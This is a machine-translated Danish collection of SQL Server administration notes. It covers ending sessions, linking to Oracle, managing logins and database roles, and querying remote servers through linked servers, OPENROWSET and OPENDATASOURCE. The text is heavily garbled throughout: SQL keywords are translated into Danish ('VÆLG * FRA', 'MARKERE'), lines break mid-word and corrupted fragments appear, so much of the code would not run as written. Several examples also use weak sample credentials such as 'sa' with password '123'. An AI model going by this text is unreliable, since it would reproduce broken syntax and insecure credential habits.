Anvendelse
Mester Gå Så indtast følgende: Erklære @d Varchar(8000) sæt @d= ' ' vælg @d=@d+ 'dræb
'+cast(spid som varchar)+char(13) fra mester.. SysProcesses hvor dbid=db_id('biblioteksnavn') exec(@d) -- Brug kode til først at slette processen, der forbinder til denne database
MSSQL driver Oracle gennem LinkServer
1) Installer Oracle på SQL_SERVER 2005-serveren
9i klient. Antag, at du installerer i mappen C:\ora92i\. Hvis D: er en NTFS-partition, skal du sætte den installerede ORACLE-mappe som den, der bruges.
Abonnenter har ret til at køre, tilføje og slette.
2) Konfigurér C:\ora92i\network\ADMIN\tnsnames.ora-filen. (Følgende røde tekst er et eksempel på en konfiguration)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRESSE = (PROTOKOL = TCP)(VÆRT = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = ork)
)
)
3) Kør følgende kommando i DOS-tilstand for at bekræfte, at ORACLE-klienten er installeret korrekt.
sqlplus user/password@ORCL
4) Åbn start - Kontrolpanel - Tjenester og bekræft, at tjenesten Distributed Transaction Coordinator er startet.
5) Åbn SQL SERVER Management Studio, Instansnavn (ORCL) - Serverobjekt (højreklik) - Ny forbindelsesserver.
1.
Linkserver: Skriv navnet på den linkede server, såsom OracleTest
2. Servertype, vælg en anden datakilde
3. Adgangsgrænseflade: Vælg Oracle Provider for OLE DB
4. Produktnavn: Write Oracle
5. Datakilde: Skriv op
Servicenavnet konfigureret i tnsnames.ora-filen, såsom ORCL
6. Adgangsinterface-streng: userid=sys som sysdba; adgangskode=adgangskode
7. På siden Vælg sikkerhedsindstillinger bruger du denne installationskontekst til at etablere en forbindelse:
a) Fjernlogin: bruger (anden bruger, ikke system)
b)
Brug adgangskode: adgangskode
8. Sæt "NT AUTHORITY\SYSTEM" på den lokale login, fjernbrugersystemet, og sæt adgangskoden
9.
Er du sikker
6) Der er to måder at skrive SQL på
a) Brug af T-SQL-syntaks:
VÆLG * FRA
OraTest.ERP.BAS_ITEM_CLASS
Bemærk, at når du indtaster SQL-sætninger i SQL Query Analyzer, skal du være opmærksom på de kinesiske fuldbredde- og halvbredde-skift
Way!
b) Brug PLSQL-syntaks: VÆLG * FRA openquery(OraTest,'VÆLG * FRA
OraTest.ERP.BAS_ITEM_CLASS ')
c) Den anden adgangsmetode er cirka 50% hurtigere end den første; Den anden adgangsmetode er direkte forbundet
ORACLE er sammenlignelig; Første adgangsmetode kan føre til nogle uventede fejl, såsom: Tabellen eksisterer ikke, eller den nuværende bruger
Der er ingen adgang til bordet, og så videre.
d) Hvis kolonnen, der skal tilgås, bruger datatyper uden præcision, vil begge disse
Dette er en fejl i ORACLE, som ikke kan rettes, og kun kan undgås ved særlig håndtering af forespørgselsudsagn:
Metadataene leveret af OLE DB-udbyderen 'OraOLEDB.Oracle' for kolonnerne er inkonsistente. Metadata-information ændres ved eksekvering.
mssql tilføjet
Slet brugeren og giv tilladelser
Brug dit biblioteksnavn Gå --Tilføj brugere Exec sp_addlogin 'test' – tilføj login Ledelse
sp_grantdbaccess N'test' - at gøre den til en legitim bruger af den nuværende database leder sp_addrolemember N'db_owner',
N'test' - giver alle tilladelser til deres egen database --Dette skaber brugere, der kun kan få adgang til deres egen database og det, der er inkluderet i databasen
Offentlig tabel for gæstebrugere Gå --Fjern testbruger exec sp_revokedbaccess N'test' – Fjern adgangen til databasen
Grænse exec sp_droplogin N'test' – slet login Hvis du opretter det i Enterprise Manager, så brug: Enterprise Manager - Sikkerhed
Sex --Højreklik Login--Nyt login Generelle punkter --Indtast brugernavnet i navnet
--Autentificeringsmetoden vælges efter dine behov (hvis du bruger Windows-autentificering, skal du først oprette en ny bruger blandt brugerne af operativsystemet)
--I standardindstillingerne vælger du det databasenavn, du vil have adgang til for den nye bruger Serverrolle-item Vælg ikke noget i det her database
Adgangsgenstand Tjek navnet på den database, du vil have adgang til, for den bruger, du opretter Tillad databaserollen, kryds "offentlig", "db_ownew" Selvfølgelig, det her
Brugeren, der skabes af eksemplet, er den samme som brugeren, der blev skabt af ovenstående sætning
Det sidste trin er at sætte specifikke adgangstilladelser for specifikke brugere, hvilket kan henvises til følgende minimale eksempel:
--Tilføj brugere, der kun har adgang til den angivne tabel: exec sp_addlogin 'brugernavn', 'adgangskode', 'standard databasenavn'
--tilføj til database exec sp_grantdbaccess 'brugernavn'
--Tildel hele tabellens tilladelser GIV VÆLG , INDSÆT , OPDATER , SLET PÅ TABEL 1 TIL [brugernavn] --Tildel tilladelser til specifikke kolonner GRANT SELECT, OPDATER I tabel1(id,AA) TIL [brugernavn]
For specifikke sikkerhedsindstillinger og teoretisk viden, henvis til SQL Online Help
Beskrivelse af fast databaserolle db_owner Har fulde rettigheder i databasen.
db_accessadmin Du kan tilføje eller fjerne bruger-ID'er.
db_securityadmin Kan administrere fulde tilladelser, objektejerskab, roller og rollemedlemskaber.
db_ddladmin kan udstede ALLE DDL-udsagn, men ikke GRANT, REVOKE eller AFVISE kontoudsagn.
db_backupoperator kan udstede DBCC-, CHECKPOINT- og BACKUP-udsagn.
db_datareader Du kan vælge alle data fra enhver brugertabel i databasen.
db_datawriter Du kan ændre alle data i enhver brugertabel i databasen.
db_denydatareader Du kan ikke vælge nogen data fra nogen brugertabel i databasen.
db_denydatawriter Du kan ikke ændre nogen data i nogen brugertabel i databasen.
Du bør vælge db_datareader, db_datawriter, db_accessadmin
5. Efter SQL Server-instansen er startet i enkeltbrugertilstand, kan Windows-administratorkontoen bruge sqlcmd-værktøjet til at oprette forbindelse i Windows-autentificeringstilstand
SQL Server。 Du kan bruge T-SQL-kommandoer som "sp_addsrvrolemember" til at tilføje et eksisterende login til sysadmin-serverrollen
Eller opret en ny loginkonto. Et eksempel på en udsagn er som følger:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
GÅ
Tilføj en sysadmin-ret
(1) Administrere serverroller
I SQL Server er der to hovedlagrede procedurer, der implementerer SQL Server-rollestyring:
sp_addsrvrolemember
og sp_dropsrvrolemember
sp_addsrvrolemember Du kan tilføje en loginkonto til en serverrolle for at gøre den til medlem af den serverrolle. Syntaksen er som følger: sp_addsrvrolemember
login, rolle
sp_dropsrvrolemember Du kan slette en loginkonto fra en serverrolle, og når medlemmet fjernes fra serverrollen, har den ikke længere den serverrolle
Tilladelserne er sat. Syntaksen er som følger: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rolle'
derind
@loginname er navnet på den indloggede bruger; @rolename er en serverrolle.
(2) Administrere databaseroller
I SQL Server understøttes databasestyring
Der findes seks hovedtyper af lagrede procedurer, og deres specifikke betydninger og syntaks er som følger:
sp_addrole: Bruges til at oprette en ny databaserolle; sp_addrole
rolle, ejer
sp_droprole: Bruges til at fjerne en databaserolle fra den nuværende databaserolle; sp_droprole rolle
sp_helprole:
Den bruges til at vise al information om alle databaseroller i den aktuelle database; sp_helprole ['rolle']
sp_addrolemember: Bruges til at sende til databasen
Tilføj databasebrugere til en rolle, som kan være brugerdefinerede standardroller eller faste databaseroller, men ikke kan være det
Ansøgningsroller. sp_addrolemember rolle, security_account
sp_droprolemember: Blev brugt til at slette en bestemt karakter
husstand; sp_droprolemember rolle, security_account
sp_helprolemember: Bruges til at vise alle medlemmer af en databaserolle
。 sp_helprolemember ['rolle']
MSSQL LINKSERVER-forespørgsel
---------------------------------------------------------------------------------- -- Forfatter :
htl258(Tony) -- Dato: 2010-06-25 22:23:18 -- Version: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. juli 2008 14:43:34 -- Ophavsret (c) 1988-2008 Microsoft Corporation --
Developer Edition på Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Emne: SQL-dataoperationer mellem forskellige serverdatabaser ---------------------------------------------------------------------------------- --1. Opret en linkserver --1.1 Opret et linknavn EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', navnet på den fjernserver.
eller IP-adresse' -- Hvis du har et brugerdefineret instansnavn, tilføj "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Opret et login (eller lav et link-server loginkort) (vælg bare én måde) --1.2.1 Log ind med Windows-autentificering EXEC sp_addlinkedsrvlogin 'LinkName' --eller EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Log ind med SQL-autentificering EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Brugernavn', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Linkserver-relaterede dataoperationer --2.1 Forespørgselseksempel VÆLG * FRA LinkName.databasenavn.skema navn.tabelnavn
/*例如:SELECT *
FRA TonyLink.Mydb.dbo.tb */ -- 2.2 Importeksempel VÆLG * IND i tabelnavn FRA LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
FRA TonyLink.Mydb.dbo.tb */ -- 2.3 Opdateringseksempel OPDATERING LinkName.Database Name.Schema Name.Table Name SET felt='værdi' HVOR felt='betingelse'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' HVOR Persons='a' */ -- 2.4 Sletningseksempler DELETE LinkName.Databasenavn.Skema Name.Table Name WHERE feltnavn='betingelse'
/*例如:DELETE
TonyLink.Mydb.dbo.tb HVOR Persons='g' */ --3 via rækkesætsfunktionen (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metode
- 3.1 OPENQUERY-metoden (kræver hjælp fra den linkserver, du lige har oprettet): -- 3.1.1 Forespørgselseksempel VÆLG * FRA OPENQUERY(LinkName, 'VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
/* For eksempel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importeksempler --3.1.2.1 Importer alle kolonner INDSÆT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. Tabelnavn
') VÆLG * FRA lokal tabel
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
FRA TB */ --3.1.2.2 Importer de angivne kolonner INDSÆT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. tabelnavn') (kolonne, kolonne...) SELECT-kolonnen,
Kolonne... FRA lokal tabel
/* For eksempel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) MARKERE
RÆKKEVIDDE, NIVEAU, Personer FRA TB */ --3.1.3 Opdateringseksempler UPDATE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. tabelnavn') SET-feltet = 'værdi' HVOR ordet
Segment = 'Tilstand'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Personer='a' */ --3.1.4 Slet eksempler DELETE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. tabelnavn') HVOR feltnavn='betingelse'
/*例
For eksempel: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') HVOR Persons='g' */ --3.2 OPENROWSET-metoden (du behøver ikke bruge navnet på det oprettede link.) Hvis det tilsluttede instansnavn ikke er standard, skal du sætte det i SQL Server-navn eller IP-adresse.
"\instansnavn") --3.2.1 Forespørgselseksempel --3.2.1.1 Windows-autentificeringsmetodeforespørgsel (en af følgende metoder er tilstrækkelig) VÆLG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller
IP-adresse; Trusted_Connection=ja', databasenavn. Arkitektnavn. Tabelnavn) VÆLG * FRA OPENROWSET('SQLNCLI',
'server=sql servernavn eller IP-adresse; Trusted_Connection=ja', databasenavn. Arkitektnavn. Tabelnavn) VÆLG * FRA
OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja','VÆLG * FRA databasen
Navn. Arkitektnavn. tabelnavn') VÆLG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse
Adresse; Trusted_Connection=ja','VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
/* For eksempel: VÆLG * FRA OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Eller: VÆLG * FRA OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Eller: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','VÆLG *
FRA Mydb.dbo.tb')
Eller: VÆLG * FRA OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','VÆLG *
FRA Mydb.dbo.tb') */ --3.2.1.2 SQL Autentificeringsmetodeforespørgsel (En af følgende metoder er tilstrækkelig) VÆLG * FRA OPENROWSET
('SQLOLEDB', 'server=SQL servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn) VÆLG * FRA
OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn) VÆLG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode','VÆLG *
FROM databasenavn. Arkitektnavn. tabelnavn') VÆLG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=
Brugernavn; pwd=adgangskode','VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
servernavn'; 'brugernavn'; 'adgangskode', databasenavn. Arkitektnavn. Tabelnavn) VÆLG * FRA OPENROWSET('SQLNCLI', 'SQL SERVER NAME'
'; 'brugernavn'; 'adgangskode', databasenavn. Arkitektnavn. Tabelnavn) VÆLG * FRA OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' bruger
navn'; 'Adgangskode', 'VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn') VÆLG * FRA OPENROWSET('SQLNCLI', 'sql server)
navn'; 'brugernavn'; 'Adgangskode', 'VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Eller: VÆLG * FRA OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Eller: VÆLG * FRA OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VÆLG * FRA Mydb.dbo.tb')
eller: VÆLG * FRA OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VÆLG * FRA
Mydb.dbo.tb')
eller: VÆLG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
eller: VÆLG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
eller: VÆLG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VÆLG * FRA Mydb.dbo.tb')
eller: VÆLG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VÆLG * FRA Mydb.dbo.tb') */ --3.2.2 Importeksempel --3.2.2.1 Importer alle kolonner INSERT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse
Adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn) VÆLG * FRA lokal tabel
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) VÆLG * FRA TB */ --3.2.2.2 Import
Angiv kolonner INDSÆT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Rack
Konstruktionsnavn. tabelnavn) (kolonne, kolonne...) VÆLG kolonne, kolonne... FRA lokal tabel
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(RÆKKEVIDDE, NIVEAU, Personer) MARKERE
RÆKKEVIDDE, NIVEAU, Personer FRA TB */ --Bemærk: For flere alternative metoder, se .2.1-forespørgselseksemplet, erstat blot funktionen OPENROWSET
Indholdet er tilstrækkeligt. --3.2.3 Opdateringseksempel OPDATER OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn
;p wd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn) SET-felt = 'værdi' HVOR feltet = 'betingelse'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' HVOR Personer='a' */ --Bemærk: For flere alternative metoder, se .2.1-forespørgselseksemplet, erstat blot indholdet i OPENROWSET. --3.2.4 Slet indikationen
Eksempel SLET OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Skemanavn
.tabelnavn) HVOR feltnavn='betingelse'
/* For eksempel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) HVOR
Personer='g' */ --Note: For flere alternative metoder, se .2.1-forespørgselseksemplet, erstat blot indholdet i OPENROWSET. --3.3 OPENDATASOURCE-metoden
(Du behøver ikke bruge navnet på det oprettede link.) Hvis instansnavnet på forbindelsen ikke er standard, skal du tilføje \instance navn efter sql-serverens navn eller IP-adresse
") --3.3.1 Forespørgselseksempel --3.3.1.1 Windows Autentificeringsmetodeforespørgsel (En af følgende metoder er tilstrækkelig) VÆLG * FRA OPENDATASOURCE('SQLOLEDB',
'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitektnavn. Tabelnavn VÆLG * FRA
OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitektnavn.
Tabelnavn
/* For eksempel: VÆLG * FRA OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
Eller: VÆLG * FRA OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb */ --3.3.1.2 SQL-autentificeringsmetodeforespørgsel (en af følgende metoder er tilstrækkelig) VÆLG * FRA OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller
IP-adresse; uid=brugernavn; pwd=adgangskode'). Databasenavn. Arkitektnavn. Tabelnavn VÆLG * FRA OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=bruger
Navn; pwd=adgangskode'). Databasenavn. Arkitektnavn. Tabelnavn VÆLG * FRA OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernavn eller IP-adresse
Adresse; uid=brugernavn; pwd=adgangskode'). Databasenavn. Arkitektnavn. Tabelnavn VÆLG * FRA OPENDATASOURCE('SQLNCLI', 'Data Source=sql servernavn eller IP-adresse
Adresse; uid=brugernavn; pwd=adgangskode'). Databasenavn. Arkitektnavn. Tabelnavn
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VÆLG * FRA OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VÆLG * FRA OPENDATASOURCE('SQLOLEDB','Data
Kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VÆLG * FRA OPENDATASOURCE('SQLNCLI','Data
kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importer alle kolonner INDSÆT OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode').
Ifølge bibliotekets navn. Arkitektnavn. Tabelnavn VÆLG * FRA lokal tabel
/* For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb MARKERE
* FRA TB */ --3.3.2.2 Importer de angivne kolonner INDSÆT OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode').
Ifølge bibliotekets navn. Arkitektnavn. Tabelnavn (kolonne, kolonne...) VÆLG kolonne, kolonne... FRA lokal tabel
/* For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(RÆKKEVIDDE, NIVEAU, personer) VÆLG OMRÅDE, NIVEAU, Personer FRA TB */ --Note: For flere alternative metoder, se .3.1-forespørgselseksemplet, erstat blot indholdet i linjesætsfunktionen (OPENDATASOURCE). --3.3.3 Opdateringseksempel OPDATER OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode'). Databasenavn. Arkitektnavn. Tabelnavn SET-felt = 'værdi' HVOR feltet = 'betingelse'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' HVOR Personer='a' */ --Note: For flere alternative metoder, se .3.1-forespørgselseksemplet, erstat blot indholdet i linjesætsfunktionen (OPENDATASOURCE). --3.3.4 Slet-eksempel SLET OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode'). Databasenavn. Arkitektnavn. Tabelnavn HVOR feltnavn='betingelse'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb HVOR Persons='g' */ - Bemærk: Flere alternativer
Se på .3.1-forespørgselseksemplet, erstatte blot indholdet i rækkesætsfunktionen (OPENDATASOURCE). -- Slet den linkede server-metode --Hvis du ikke længere bruger linkoplysningerne i fremtiden, kan du slette linkoplysningerne --4.1 Slet loginoplysninger (eller slet linket server-loginnavnekort) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* For eksempel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Slet det linkede servernavn EXEC sp_dropserver 'LinkName', 'droplogins' – hvis droplogins er angivet, Loginkortet skal slettes, før den linkede server slettes
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Vedhæftet
: Sådan får du udbydernavnet (EXEC master). xp_enum_oledb_providers) VÆLG CAST([Udbydernavn] SOM
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion FRA
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=ja', 'SÆT KUN AF; EKSEKUTIV
Mester.. xp_enum_oledb_providers'
)
|